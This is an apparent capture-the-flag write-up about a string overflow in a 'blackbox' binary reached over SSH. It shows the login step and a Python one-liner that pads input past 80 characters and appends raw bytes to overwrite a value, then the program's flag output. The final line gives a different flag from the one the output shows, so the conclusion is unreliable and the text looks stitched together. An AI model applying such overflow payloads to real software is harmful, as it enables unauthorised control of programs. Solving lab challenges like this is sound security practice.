The main idea of finding the flag is String Overflow.
After I SSH'ed into ssh [email protected] -p 1001
with password as guest
(given), I got this:
So, I tried to run blackbox
file.
Now it was time to go wild. So, I gave very big inputs to see the threshold of String Overflow.
So, lets just print to exceed 80 characters because at 81st character we find the string overflow here. Executing this one liner, gives us flag.
python -c "print '11111111111111111111111111111111111111111111111111111111111111111111111111111111\x02\x00\x00\x00'" | ./blackbox
Output:
What is 1 + 1 = CORRECT! You get flag:
flag{0n3_4lus_1_1s_Tw0_dumm13!!}
[2]+ Stopped python -c "print '11111111111111111111111111111111111111111111111111111111111111111111111111111111\x02\x00\x00\x00'" | ./blackbox
Finally, the flag becomes:
the_flag_is{A_sP3c7r0grAm?!}